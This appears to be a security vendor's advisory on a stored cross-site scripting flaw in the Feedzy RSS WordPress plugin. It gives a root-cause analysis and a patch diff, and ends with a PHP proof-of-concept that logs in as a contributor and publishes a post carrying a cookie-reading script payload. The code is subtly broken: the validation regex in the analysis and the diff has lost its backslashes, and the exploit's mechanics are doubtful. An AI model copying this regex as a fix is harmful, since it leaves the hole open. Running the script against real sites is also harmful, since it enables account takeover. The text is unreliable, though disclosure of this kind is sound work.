Atomic Edge analysis of CVE-2026-13252:
This vulnerability is a Stored Cross-Site Scripting (XSS) in the RSS Aggregator by Feedzy plugin for WordPress, affecting versions up to and including 5.2.1. The vulnerability exists in the feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php file, specifically within the thumbnail generation functions. Authenticated users with contributor-level access or higher can inject arbitrary web scripts via the ‘aspectRatio’ shortcode attribute, which is stored and executed when other users view the affected page.
Root Cause: The plugin fails to sanitize the ‘aspectRatio’ attribute retrieved from shortcode attributes ($sc[‘aspectRatio’]). In two separate code blocks (around lines 1692-1750 and 1872-1920), the raw value is directly concatenated into an inline CSS style string without any validation or escaping. The vulnerable code at line 1695 allowed ‘aspect-ratio:’ . $sc[‘aspectRatio’] . ‘;’ to be appended to the $img_style variable, which was then output directly into an HTML img tag’s style attribute without escaping via esc_attr(). Similarly, the thumbnail URL was not escaped with esc_url().
Exploitation: An attacker with contributor access or higher can craft a shortcode containing a malicious ‘aspectRatio’ attribute. The attack vector is typically through the WordPress post/page editor where shortcodes like [feedzy-rss feeds=”…” aspectRatio=”javascript:alert(1)”] can be inserted. When a user visits the page, the unsanitized attribute value is injected into the style attribute of an HTML img tag, allowing arbitrary JavaScript execution in the context of the victim’s browser session.
Patch Analysis: The patch introduces input validation for the ‘aspectRatio’ attribute using a strict regex pattern: preg_match(‘~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~’, $raw_ratio). This only allows values of ‘auto’, numeric integers or decimals (optionally with a ratio like ’16/9′), or numeric strings like ’16/10′. Furthermore, the output is now properly escaped using esc_attr() for the style attribute and esc_url() for the thumbnail URL, ensuring any injected HTML or script tags are neutralized.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits a page containing the malicious shortcode. This can lead to session hijacking, cookie theft, redirection to malicious sites, defacement, or unauthorized actions being performed as the victim user, including potential privilege escalation if an administrator views the infected page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/feedzy-rss-feeds/feedzy-rss-feed.php
+++ b/feedzy-rss-feeds/feedzy-rss-feed.php
@@ -15,7 +15,7 @@
* Plugin Name: Feedzy RSS Feeds Lite
* Plugin URI: https://themeisle.com/plugins/feedzy-rss-feeds/
* Description: A small and lightweight RSS aggregator plugin. Fast and very easy to use, it allows you to aggregate multiple RSS feeds into your WordPress site through fully customizable shortcodes & widgets.
- * Version: 5.2.1
+ * Version: 5.2.2
* Author: Themeisle
* Author URI: http://themeisle.com
* License: GPL-2.0+
--- a/feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php
+++ b/feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php
@@ -1692,31 +1692,37 @@
if ( ! empty( $thumbnail_to_use ) && is_string( $thumbnail_to_use ) ) {
$img_style = '';
- if ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) ) {
- $img_style .= 'height:' . $sizes['height'] . 'px;';
+ $safe_height = ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) && (int) $sizes['height'] > 0 ) ? (int) $sizes['height'] : 0;
+ $safe_width = ( isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) && (int) $sizes['width'] > 0 ) ? (int) $sizes['width'] : 0;
+ $raw_ratio = isset( $sc['aspectRatio'] ) ? (string) $sc['aspectRatio'] : '';
+ $safe_ratio = ( '' !== $raw_ratio && preg_match( '~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~', $raw_ratio ) ) ? $raw_ratio : '';
+ $has_valid_ratio = ( '' !== $safe_ratio && '1' !== $safe_ratio );
+
+ if ( $safe_height > 0 ) {
+ $img_style .= 'height:' . $safe_height . 'px;';
}
- if ( isset( $sc['aspectRatio'] ) && '1' !== $sc['aspectRatio'] ) {
- $img_style .= 'aspect-ratio:' . $sc['aspectRatio'] . '; object-fit: fill;';
+ if ( $has_valid_ratio ) {
+ $img_style .= 'aspect-ratio:' . $safe_ratio . '; object-fit: fill;';
}
-
+
if (
- isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) &&
+ $safe_width > 0 &&
(
- $sizes['width'] !== $sizes['height'] || // Note: Custom modification via filters.
+ $safe_width !== $safe_height ||
(
- isset( $sc['aspectRatio'] ) &&
+ '' !== $safe_ratio &&
(
- ( 'auto' === $sc['aspectRatio'] && $amp_running ) || // Note: AMP compatibility. Auto without `height` breaks the layout.
- '1' === $sc['aspectRatio'] // Note: Backward compatiblity.
+ ( 'auto' === $safe_ratio && $amp_running ) ||
+ '1' === $safe_ratio // Note: Backward compatiblity.
)
)
)
) {
- $img_style .= 'width:' . $sizes['width'] . 'px;';
+ $img_style .= 'width:' . $safe_width . 'px;';
}
- $content_thumb .= '<img decoding="async" src="' . $thumbnail_to_use . '" title="' . esc_attr( $item->get_title() ) . '" style="' . $img_style . '">';
+ $content_thumb .= '<img decoding="async" src="' . esc_url( $thumbnail_to_use ) . '" title="' . esc_attr( $item->get_title() ) . '" style="' . esc_attr( $img_style ) . '">';
$content_thumb = apply_filters( 'feedzy_thumb_output', $content_thumb, $feed_url, $sizes, $item );
}
@@ -1872,13 +1878,17 @@
$item_content = esc_html__( 'Post Content', 'feedzy-rss-feeds' );
}
- $img_style = '';
- if ( isset( $sizes['height'] ) ) {
- $img_style = 'height:' . $sizes['height'] . 'px;';
- if ( isset( $sc['aspectRatio'] ) && '1' !== $sc['aspectRatio'] ) {
- $img_style .= 'aspect-ratio:' . $sc['aspectRatio'] . ';';
- } elseif ( isset( $sizes['width'] ) ) {
- $img_style .= 'width:' . $sizes['width'] . 'px;';
+ $img_style = '';
+ $safe_height_val = ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) && (int) $sizes['height'] > 0 ) ? (int) $sizes['height'] : 0;
+ $safe_width_val = ( isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) && (int) $sizes['width'] > 0 ) ? (int) $sizes['width'] : 0;
+ $raw_ratio_val = isset( $sc['aspectRatio'] ) ? (string) $sc['aspectRatio'] : '';
+ $safe_ratio_val = ( '' !== $raw_ratio_val && preg_match( '~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~', $raw_ratio_val ) ) ? $raw_ratio_val : '';
+ if ( $safe_height_val > 0 ) {
+ $img_style = 'height:' . $safe_height_val . 'px;';
+ if ( '' !== $safe_ratio_val && '1' !== $safe_ratio_val ) {
+ $img_style .= 'aspect-ratio:' . $safe_ratio_val . ';';
+ } elseif ( $safe_width_val > 0 ) {
+ $img_style .= 'width:' . $safe_width_val . 'px;';
}
}
--- a/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
+++ b/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
@@ -104,7 +104,7 @@
*/
public function init() {
self::$plugin_name = 'feedzy-rss-feeds';
- self::$version = '5.2.1';
+ self::$version = '5.2.2';
self::$instance->load_dependencies();
self::$instance->define_admin_hooks();
}
--- a/feedzy-rss-feeds/vendor/composer/installed.php
+++ b/feedzy-rss-feeds/vendor/composer/installed.php
@@ -1,9 +1,9 @@
<?php return array(
'root' => array(
'name' => 'codeinwp/feedzy-rss-feeds',
- 'pretty_version' => 'v5.2.1',
- 'version' => '5.2.1.0',
- 'reference' => '9f4cc75c51c46df3bccfd2906089d17d5d6ccc71',
+ 'pretty_version' => 'v5.2.2',
+ 'version' => '5.2.2.0',
+ 'reference' => '687a9ce55f353abe8c69e290207a86722eda9c78',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -11,9 +11,9 @@
),
'versions' => array(
'codeinwp/feedzy-rss-feeds' => array(
- 'pretty_version' => 'v5.2.1',
- 'version' => '5.2.1.0',
- 'reference' => '9f4cc75c51c46df3bccfd2906089d17d5d6ccc71',
+ 'pretty_version' => 'v5.2.2',
+ 'version' => '5.2.2.0',
+ 'reference' => '687a9ce55f353abe8c69e290207a86722eda9c78',
'type' => 'wordpress-plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13252 - RSS Aggregator by Feedzy <= 5.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'aspectRatio' Attribute
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'contributor'; // Change to a valid contributor username
$password = 'password'; // Change to the user's password
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_post = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
'post_title' => 'Test XSS - CVE-2026-13252',
'content' => '[feedzy-rss feeds="https://example.com/feed" aspectRatio="javascript:alert(document.cookie)"]',
'post_status' => 'publish',
'post_type' => 'post'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Post created successfully. Visit the site to trigger XSS.n";
} else {
echo "[-] Failed to create post. Check credentials or target URL.n";
}
// Clean up cookie file
unlink('/tmp/cookies.txt');